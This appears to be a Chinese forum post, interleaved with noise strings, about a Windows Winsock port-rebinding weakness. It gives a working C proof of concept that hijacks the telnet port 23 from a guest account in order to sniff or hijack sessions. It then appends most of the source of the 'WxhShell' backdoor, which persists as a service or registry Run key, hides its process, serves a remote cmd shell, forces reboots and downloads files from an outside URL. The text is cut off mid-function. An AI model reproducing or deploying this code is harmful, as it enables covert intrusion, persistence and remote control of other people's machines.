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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;B:'8$j$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /=FQ{tLr "qu%$L saddr.sin_family = AF_INET; n,wLk./` R1!{,*Gy saddr.sin_addr.s_addr = htonl(INADDR_ANY); pV=X Vx~[;*{,C9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H/|Mq#K "c\ZUx_i6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ";J1$a ([qw#!;w; 这意味着什么?意味着可以进行如下的攻击: _WVeb} G;Q)A$- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jI_TN5 9mEC|(m*WK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `jSxq66L p pfe9n[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c]P`U(q9TV &DYHkG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Sl/[9-a) Q$iYhR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5 UpN/\He GO.mT/rB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 razVO]]E RCsQLKqF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0V
uG(O 21O!CvX #include P5yS`v$@ #include X|{TwmHd #include EEEYNu/4/ #include nbj &3z, DWORD WINAPI ClientThread(LPVOID lpParam); v/
dSz/<] int main() [[}KCND { Pn\ Lg8 WORD wVersionRequested; x=pq-&9>B DWORD ret; y
Rr,+>W WSADATA wsaData; I dgha9K BOOL val; t4R=$
km SOCKADDR_IN saddr; \{ r%.G SOCKADDR_IN scaddr; 6J9^:gXW~ int err; K9\`Wu_qL SOCKET s; Kr3L~4> SOCKET sc; ?B.>VnYZ/a int caddsize; v}XMFC ! HANDLE mt; p&/}0eL y DWORD tid; ak 94"<p wVersionRequested = MAKEWORD( 2, 2 ); HP}d`C5<R err = WSAStartup( wVersionRequested, &wsaData ); R#.FfWTZ if ( err != 0 ) { %e.tAl"!$ printf("error!WSAStartup failed!\n"); ~Wp>tnl return -1; 1K.i>]}> } 78&jaw*1A saddr.sin_family = AF_INET; FO#`}? R` tn&~~G~# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4,"% e~w-v"' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FGY4 u4y saddr.sin_port = htons(23); MA1.I4dm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g/e\EkT { oKjQ?
4 printf("error!socket failed!\n"); wPdp!h7B~N return -1; fgcI55&jV{ } !? !~8J~ val = TRUE; L6S!?t.{Yv //SO_REUSEADDR选项就是可以实现端口重绑定的 :%-xiv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y|$3%t { Sxo9y0K8- printf("error!setsockopt failed!\n"); l'TM^B)`c return -1; |t](4 } Kgh@.Ir //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F}
d>pK9fn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^UTQcm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z<+Ipj& +
q@kRQY;n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8Ac5K! { DMO8~5 ret=GetLastError(); 7L68voC@U printf("error!bind failed!\n"); 0G@sj7)] return -1; kex4U6&OQB } ^W}(]jL listen(s,2); :2^j/ while(1) "W!Uxc
{ 8:s"
^YLN caddsize = sizeof(scaddr); <*I%U] //接受连接请求 1Q-O&\-xg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i%RN0UO^ if(sc!=INVALID_SOCKET) hbfTv;=z { s az<NT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <i}lP/U if(mt==NULL) Z:51Q { s'/b&Idf8 printf("Thread Creat Failed!\n"); zg)-RCG break; g?Jx99c; } L#)F00/` } 9em?2'ysa CloseHandle(mt); Ci{,e% } gKyYBr closesocket(s); )8ub1,C WSACleanup(); ue?e}hF return 0; yMz%s=rh } 7&ty!PpD DWORD WINAPI ClientThread(LPVOID lpParam) oUXi4lsSc { p%MH**A SOCKET ss = (SOCKET)lpParam; OB-gH3: SOCKET sc; kY e3A&J unsigned char buf[4096]; 9Rz TC SOCKADDR_IN saddr; 'x'.[=; long num; Pr|:nJs DWORD val; Q:U^):~ DWORD ret; o u%Xnk~ //如果是隐藏端口应用的话,可以在此处加一些判断 2h Wtpus //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 g>g]qQ saddr.sin_family = AF_INET; }ZPO^4H;- saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?ks3K-.4 saddr.sin_port = htons(23); ,\t:R1. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A:{PPjs%LA { tXlo27J printf("error!socket failed!\n"); w4 R!aWLd return -1; Nd5G-eYI } *OoM[wEY val = 100; 4<P=wK=a8X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pi/Jto25z { EL--?<g ret = GetLastError(); 16;r+.FB' return -1; &Nzq/~uqP } y,D@[*~Xb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5"5tY { |$hBYw ret = GetLastError(); m{dXN= return -1; G[;GP0\N } >v
sy P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n\X'2 { PTt#Ixn, printf("error!socket connect failed!\n"); mgODJ closesocket(sc); *y6zwe !M closesocket(ss); U,;a+z4\ return -1; eootHK } q?&Ap* while(1) E.ugr]) { 6"OwrJB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eUY/H1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 fu=GgD* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IjshxNk num = recv(ss,buf,4096,0); D7X8yv1 if(num>0) As5*)o"& send(sc,buf,num,0); =sp5.-r else if(num==0) Lo<-;;vQ break; V:YN! num = recv(sc,buf,4096,0); t\GoUeH] if(num>0) 4lVvs(W? send(ss,buf,num,0); %ZKP d8 else if(num==0) %>)HAx ` break; 7I#<w[l>k } ,$H[DX closesocket(ss); ' F,.y6QU closesocket(sc); :kQ%Mj> return 0 ; B.Szp_$ } 3|se]~ L
`\>_ P(Gv|Q@ ========================================================== EC:u;2f! )R+26wZ|n* 下边附上一个代码,,WXhSHELL EF8~rKO3 VZhHO
d ========================================================== S;I>W&U ZUA%ZkX=F #include "stdafx.h" 8kRqF?rbj G/)]aGr #include <stdio.h> u)hr #include <string.h> J#/L}h;qH #include <windows.h> ~43T$^<w; #include <winsock2.h> jYxmU8 #include <winsvc.h> *7JsmN? #include <urlmon.h> o8ERU($/ [YTOrN #pragma comment (lib, "Ws2_32.lib") ]lgI Q;r #pragma comment (lib, "urlmon.lib") v PJ=~*P=
_!K@(dl #define MAX_USER 100 // 最大客户端连接数 *a[iq`499 #define BUF_SOCK 200 // sock buffer \'>8 (i~ #define KEY_BUFF 255 // 输入 buffer {L#+v~d^'n [
U`}) #define REBOOT 0 // 重启 Kqn{q4L #define SHUTDOWN 1 // 关机 V."qxKsz Z37%jdr #define DEF_PORT 5000 // 监听端口 u,88V@^ y88lkV4a #define REG_LEN 16 // 注册表键长度 |'SgGg=E #define SVC_LEN 80 // NT服务名长度 wRCv?D`vV Ir4M5OR\ // 从dll定义API ?AlTQL~c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $j"TPkW{M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bkSI1m3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mv 1V
Vk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %gbvX^E? (RM;T @` // wxhshell配置信息 CW .
O"_ struct WSCFG { vUD>+*D int ws_port; // 监听端口 g+zfa.wQ char ws_passstr[REG_LEN]; // 口令 ?>}&,:U} int ws_autoins; // 安装标记, 1=yes 0=no &`}8Jz=S char ws_regname[REG_LEN]; // 注册表键名 >VE!3' /' char ws_svcname[REG_LEN]; // 服务名 UPr8Q^wm char ws_svcdisp[SVC_LEN]; // 服务显示名 |\#6?y[o char ws_svcdesc[SVC_LEN]; // 服务描述信息 [+_0y[~,tB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;R4qE$u2^ int ws_downexe; // 下载执行标记, 1=yes 0=no W>2m%q
U char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" c%O8h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q*pWx]Y x4e8;A(y }; O~L/>Ya p J#<e // default Wxhshell configuration w.0:#4 struct WSCFG wscfg={DEF_PORT, n^+rxG6L "xuhuanlingzhe", cd-;?/ 1, 8r-'m%l "Wxhshell", laX67Vjv "Wxhshell", +1(L5Do} "WxhShell Service", ?T\_"G "Wrsky Windows CmdShell Service", +^tw@b "Please Input Your Password: ", XL2iK) A 1, P+s-{vv{0 " http://www.wrsky.com/wxhshell.exe", RLL2'8"A "Wxhshell.exe" - )brq3L }; ^a?H" *j/[5J0'M // 消息定义模块 O9Fg_qfuT_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j+-+<h/( char *msg_ws_prompt="\n\r? for help\n\r#>"; 25-5X3(>j= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; |8<P%:*N char *msg_ws_ext="\n\rExit."; VsTa!V^~ char *msg_ws_end="\n\rQuit."; 1~_&XNb& char *msg_ws_boot="\n\rReboot..."; l;'#!hC) char *msg_ws_poff="\n\rShutdown..."; A\S1{JrR char *msg_ws_down="\n\rSave to "; vi-mn)L6# SeX:A)*ez% char *msg_ws_err="\n\rErr!"; r1o_i;rg char *msg_ws_ok="\n\rOK!"; -|\SNbPTV /`"&n1 char ExeFile[MAX_PATH]; QZ:xG:qyk; int nUser = 0; %J%ZoptY: HANDLE handles[MAX_USER]; ++ZtL\h{7 int OsIsNt; F>!gwmn~ #'?gMVSk SERVICE_STATUS serviceStatus; NIasce e SERVICE_STATUS_HANDLE hServiceStatusHandle; bo%v( Z.v2!u // 函数声明 e9e7_QG_- int Install(void); Z/hk)GI int Uninstall(void); v@KP~kp int DownloadFile(char *sURL, SOCKET wsh); tUR9ti int Boot(int flag); e_{!8u.+ void HideProc(void); j^&{5s int GetOsVer(void); A0hfy|1#L int Wxhshell(SOCKET wsl); Q*h%'oc` void TalkWithClient(void *cs); 4X^{aIlshk int CmdShell(SOCKET sock); X8Ld\vZYn int StartFromService(void); sKLH.@ int StartWxhshell(LPSTR lpCmdLine); ^3:y<{J FJj # VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xU5+"t~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ygz6 ~( Gd08RW // 数据结构和表定义 kk*:S* , SERVICE_TABLE_ENTRY DispatchTable[] = !R/-|Kjy { XA%a7Xtni {wscfg.ws_svcname, NTServiceMain}, 5?()o}VjAO {NULL, NULL} 9^5D28y }; `T \"B% zJJ6"9sl // 自我安装 h)746T ) int Install(void) yXdJ5Me(T { 8!c#XMHV char svExeFile[MAX_PATH]; nfV32D|3 HKEY key; 7 ?O~3 strcpy(svExeFile,ExeFile); ~il{6Z+#n mm5y'=# // 如果是win9x系统,修改注册表设为自启动 L`!M3c@u if(!OsIsNt) { +.RC{o, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qf}^x9' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [v!TQwMU RegCloseKey(key); UOg4E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W?B(Jsv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l6C^,xU~IX RegCloseKey(key); TBzOz:k return 0; N {$'-[ } {D( _" } c&o|I4|Y, } HcrI3v|6 else { FrXh\4C 2+Tu"oG;rB // 如果是NT以上系统,安装为系统服务 f#W5Nu'*! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H$/r{gfg^ if (schSCManager!=0) l-N4RCt h { c<8RRYs SC_HANDLE schService = CreateService $:bU< ( C98 Ks schSCManager, 'Si1r%'m# wscfg.ws_svcname, ET&Q}UO E wscfg.ws_svcdisp, Wy'H4Rg8 SERVICE_ALL_ACCESS, $:YJ<HvG< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B>11 SERVICE_AUTO_START, :V%XEN) SERVICE_ERROR_NORMAL, =HF||p@ svExeFile, 3']yjj(gHr NULL, 5Y4i|R NULL, `+!GoXI NULL, IkU:D"n7 NULL, -}Jf4k#G NULL r`Qzn" H ); ;(kU:b|j if (schService!=0) 95,{40;X7 { "))G|+tz CloseServiceHandle(schService); ;btH[a iV CloseServiceHandle(schSCManager); ?]fd g;?@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NC*h7 strcat(svExeFile,wscfg.ws_svcname); SOyE$GoOsx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2EeWcTBU}. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0@9.h{s@ RegCloseKey(key); i6^COr return 0; XeaO,P } #Fua^]n } 0YsC@r47wL CloseServiceHandle(schSCManager); K#=)]qIk } f3 lKdXnP } `};8 J^@0Ff;=5^ return 1; c1IK9X* } 4s<*rKm~ EHT5Gf // 自我卸载 #L-3eW=f int Uninstall(void) NXvu}&H { FDB^JH9d HKEY key; QD0upYG D?u*^?a2 if(!OsIsNt) { {*8'bNJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V`KXfY RegDeleteValue(key,wscfg.ws_regname); Xj;nh?\u RegCloseKey(key); xzFV] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cH()Ze-B RegDeleteValue(key,wscfg.ws_regname); Kq|L:Z RegCloseKey(key); vjI>TIy
return 0; S6 F28 d[j } eUYd0L! } #c5 NFU}9 } TxYxB1C) else { a;eV&~ @Z.s:FV[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FAVw80?5k if (schSCManager!=0) S1pikwB { t)74( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8>Hnv]p if (schService!=0) *yqEl
O { C7`FM@z if(DeleteService(schService)!=0) { L&F0^ CloseServiceHandle(schService); vcsi@! CloseServiceHandle(schSCManager); j_E$C.XU{g return 0; F/[vg } Y@._dliM CloseServiceHandle(schService); Ij
hC@5qk } 1}mIzrY CloseServiceHandle(schSCManager); sm-RpZ&| } d-g&TSGd } `Td 0R! \?-`?QPux return 1; ~xqRCf{8 } YLSp$d4y mT;1KE{J{ // 从指定url下载文件 -A>1L@N int DownloadFile(char *sURL, SOCKET wsh) IiV:bHUE}0 { N=&~3k HRESULT hr; -E#!`~&V char seps[]= "/"; m M!H}| char *token; hf
rF7{yj char *file; wn[q?|1 char myURL[MAX_PATH]; R_ojK&% char myFILE[MAX_PATH]; 4f<%<Z {w.rcObIw+ strcpy(myURL,sURL); T_O\L[]p* token=strtok(myURL,seps); "q4c[dna while(token!=NULL) *Z=K9y,IC {
M@S6V7 file=token; _B)LRD+Hj token=strtok(NULL,seps); LUv>0G#L[ } =jjUwcl r'M|mQ$s> GetCurrentDirectory(MAX_PATH,myFILE); #r;
'AG strcat(myFILE, "\\"); IC>OxYg* strcat(myFILE, file); MNO T<( send(wsh,myFILE,strlen(myFILE),0); Me[T=Tt`@w send(wsh,"...",3,0); SlI0p&2, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WK]SHiHD if(hr==S_OK) 8'?V5.6?|~ return 0; S P)$K= else ?J,hv'L] return 1; A@#9X'C$^ a02;Zl } j8nG
Gx
@*'|8% // 系统电源模块 %>}6>nT# int Boot(int flag) O`U&0lKi' { {.OBcx HANDLE hToken; ufm`h)N TOKEN_PRIVILEGES tkp; #>dfP"}&, B\A2Vm`& if(OsIsNt) { IF%^HK@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~M`QFF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QN:gSS{30 tkp.PrivilegeCount = 1; w<-8cvNhiz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iD#HBo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6T0E'kv
S if(flag==REBOOT) { X64OX9:YF if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DbFTNoVR return 0; Es6b~# } 7F.t>$' else { 'm9f:iTr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '`$a l7D return 0; o1='Fr } cZT;VmC } .g_BKeU else { iX qB-4" if(flag==REBOOT) { LS@[O])$' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j7=I!<w V return 0; `W< 7. } |^Nz/PN else { R4GmUCKB= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FCTz>N^p return 0; xcr=AhqM } (-Rh%ZHH } rXXIpQRi$S X9C)FS return 1; YP{)jAK } 3 G/#OJ evryk,x // win9x进程隐藏模块 &x19]?D"+ void HideProc(void) 6z@OGExmd# { 68?oV)fE "|w..%Wc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i|+ EC_^< if ( hKernel != NULL ) Tyt:Abym= { itb0dF1G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;mH1J'.(a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aZ^P*|_K3 FreeLibrary(hKernel); TtEc~m } 'bp*hqG[ 5\1Z"? return; (v(!l=3 } *m:h0[[J &RP!9{F< // 获取操作系统版本 }LQ*vD-Jj int GetOsVer(void) .kh%66: { ]X~;?>#:p OSVERSIONINFO winfo; {n}6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (x,w/1 GetVersionEx(&winfo); 0/P!rH9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <cG .V|B return 1; P
lJl#-BO else q+2yp&zF return 0; Kd^{~Wlz&z } CK[2duf^~ a*JM2^,HO // 客户端句柄模块 d!/@+i int Wxhshell(SOCKET wsl) ?Z%Ja_}8ma { iK{q_f\" SOCKET wsh; u%?u`n2' struct sockaddr_in client; -}|GkTM DWORD myID; fU^B
3S6X k+S+: 5 while(nUser<MAX_USER) %98F>wl { cC
w,b] int nSize=sizeof(client); dq~p]h~,H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'TpW-r: if(wsh==INVALID_SOCKET) return 1; Y W_E,A>h K;;Q*NN- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `HU`=a&d if(handles[nUser]==0) VpSk.WY/ e closesocket(wsh); _ b}\h,Ky else QxvxeK!Y nUser++; pgz3d{]ua } }/BwFB+(/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K0 .f4o Kv"e\
E return 0; R-]QU`c } L^rtypkJ {;^booq // 关闭 socket H4 Y7p void CloseIt(SOCKET wsh) HRi~TZ?\ { '"QC^Joz closesocket(wsh); g(<02t!OT= nUser--; "T5?<c ExitThread(0); OqUEj 0X } xjOy3_Js [bkMl+:/HG // 客户端请求句柄 |#R;pEn void TalkWithClient(void *cs) R[
S*ON { _=B(jJZ 8
W8ahG} SOCKET wsh=(SOCKET)cs; l;U9dO}/[ char pwd[SVC_LEN]; Pgf$GXE char cmd[KEY_BUFF]; /tA$'tZ char chr[1]; |s|>46E int i,j; eJ)Bs20Q O;
EI& while (nUser < MAX_USER) { DU$]e1 !.iu_xJ if(wscfg.ws_passstr) { "-XL Y_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7;KmJ}$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5R4h9D5 //ZeroMemory(pwd,KEY_BUFF); oju/%ieh i=0; 3O%[k<S\VO while(i<SVC_LEN) { CU6rw+Vax rS/Q // 设置超时 lW'6rat fd_set FdRead; s2g}IZfo struct timeval TimeOut; yXY8 oE FD_ZERO(&FdRead); gqNd@tYI FD_SET(wsh,&FdRead); hF+YZU]rT TimeOut.tv_sec=8; #QZg{ TimeOut.tv_usec=0; -"Lia!Q]M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2i',
e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $y\'j5nk3 `y0ZFh1>X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9NaC7D$, pwd =chr[0]; 5'\/gvxIC if(chr[0]==0xd || chr[0]==0xa) { O-wR48Q pwd=0; [:a;|t break; =w".B[r } +%eMm.( i++; zdyS"H} } "<3PyW?zt -}2q- // 如果是非法用户,关闭 socket g-oHu8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l+kI4B7-- } _zJY1cr 3RscuD& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); / !jd%,G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A[XEbfDO KL sTgo|J while(1) { *`ji2+4Sjw |6`yE]3-( ZeroMemory(cmd,KEY_BUFF); +q)
^pCC @]WN|K // 自动支持客户端 telnet标准 ff-9NvW4v j=0; b,D+1' while(j<KEY_BUFF) { h:"<x$F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Tb93Q@c cmd[j]=chr[0]; cc.zC3Hs3 if(chr[0]==0xa || chr[0]==0xd) { z^{VqC*o+ cmd[j]=0; 3tS~/o+]
break; *<xEM- } uV52ko, j++; zvdtP'&uj } "%<Oadz ap vov"60K // 下载文件 D"bLJj/! if(strstr(cmd,"http://")) { q,^^c1f send(wsh,msg_ws_down,strlen(msg_ws_down),0); e {N8|l if(DownloadFile(cmd,wsh)) a)Qx43mOS send(wsh,msg_ws_err,strlen(msg_ws_err),0); wCkhE,#-_ else 4ZQXYwfC| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (3%NudkwT } ;?yd;GOt) else { C \H%4p1r jToA"udW/ switch(cmd[0]) { F,P,dc J ;i/X;^ // 帮助 'S)}mG_ case '?': { 9-Qub+0o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8D;>] > break; + 3aAL& } PLw;9^<
// 安装 Tr(w~et case 'i': { w~;1R\?| if(Install()) `Q,moz send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GJIrtS4 else D5]T.8kX(7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [9Q2/V;Uk% break; lmp0Ye| } W-<C%9O! // 卸载 *<i
{
Mb Q case 'r': { &+xNR2"; if(Uninstall()) va:5pvt2& send(wsh,msg_ws_err,strlen(msg_ws_err),0); H .JA)*b- else V[(zRGa{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *=$Jv1"Q
+ break; H CZ#7Z } h&{9 &D1t // 显示 wxhshell 所在路径 X<OwB -N case 'p': { ^}a..@|%W char svExeFile[MAX_PATH]; l <Tkg9 strcpy(svExeFile,"\n\r"); P@`@?kMU strcat(svExeFile,ExeFile); O8wR#(/ send(wsh,svExeFile,strlen(svExeFile),0); :tl*>d~ break; :3gtc/p t> } &_x:+{06 // 重启 Ovq-rI{ case 'b': { T[`o$j6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MXh0 a@*] if(Boot(REBOOT)) 7YV}F9h4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); F
*=>= else { J2f}{! b+I closesocket(wsh); Kyq/'9` ExitThread(0); 'P0:1"> } ",k"c}3G break; Q_$aiE } D{x'k2= // 关机 )>QpR8
G- case 'd': { }R=n!Y$F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p9 <XaJ} if(Boot(SHUTDOWN)) `aD~\O send(wsh,msg_ws_err,strlen(msg_ws_err),0); E z?O
gE{ else { ?NOc]'<(G closesocket(wsh); )"/.2S; ExitThread(0); F{WV}o=MY } U>H"N1 break; +DmfqKKbd } I<L // 获取shell 0ft 81RK case 's': { uD0T()J.P5 CmdShell(wsh); 3q:U0&F closesocket(wsh); A=JPmsj. ExitThread(0); Lp.dF)C\ break; 9AF%Y:y } ?41bZ$j // 退出 G8z.JX-7g case 'x': { $9YAq/#Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
&OQ37(<_ CloseIt(wsh); 'i+j;.
break; \NU^Jc_k7 } :%7y6V* // 离开 T&+*dyNxMK case 'q': { PvF3a`&r send(wsh,msg_ws_end,strlen(msg_ws_end),0); !k@(}CN_* closesocket(wsh); GVR/p WSACleanup(); 3V=wW{;x exit(1); >!sxX = < break; h*d1G9%Q1 } KG<. s< } =hFIH\x } uE] HU 2>TOCBB" // 提示信息 znnnqR0us if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0h/bC)z
} =\~<##sRJ } u#!QIQW tf[)Q:| return; a;bmZh } hhWIwR o|`[X' // shell模块句柄 g?B4b7II int CmdShell(SOCKET sock) qJ(XW N H { yUnNf 2i STARTUPINFO si; H j [!F% ZeroMemory(&si,sizeof(si)); ^G(U@-0.. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =sZ58xA si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8k +^jj PROCESS_INFORMATION ProcessInfo; W% @r char cmdline[]="cmd"; eF-U
1ZJT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &~=FXe0S return 0; _cvA1Q" } ['m7Wry $,u>, // 自身启动模式 *!oV?N[eA' int StartFromService(void) Yo%ph%e { rj}O2~W~4 typedef struct hZ_@U?^ { VOJA}$ DWORD ExitStatus; cYmgJBG DWORD PebBaseAddress; Th_PmkvC DWORD AffinityMask; B@w/wH DWORD BasePriority; /_SQKpic ULONG UniqueProcessId; ibH!bS{ ULONG InheritedFromUniqueProcessId; hXnfZx% } PROCESS_BASIC_INFORMATION; A(eB\qG PH.g+u=v PROCNTQSIP NtQueryInformationProcess; ;gGq\c or,:5Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FYs]I0}| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8;Zz25* hKnAWKb0 HANDLE hProcess; x" lcE@( PROCESS_BASIC_INFORMATION pbi; qP{Fwn 7+9o<j@@o HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HK
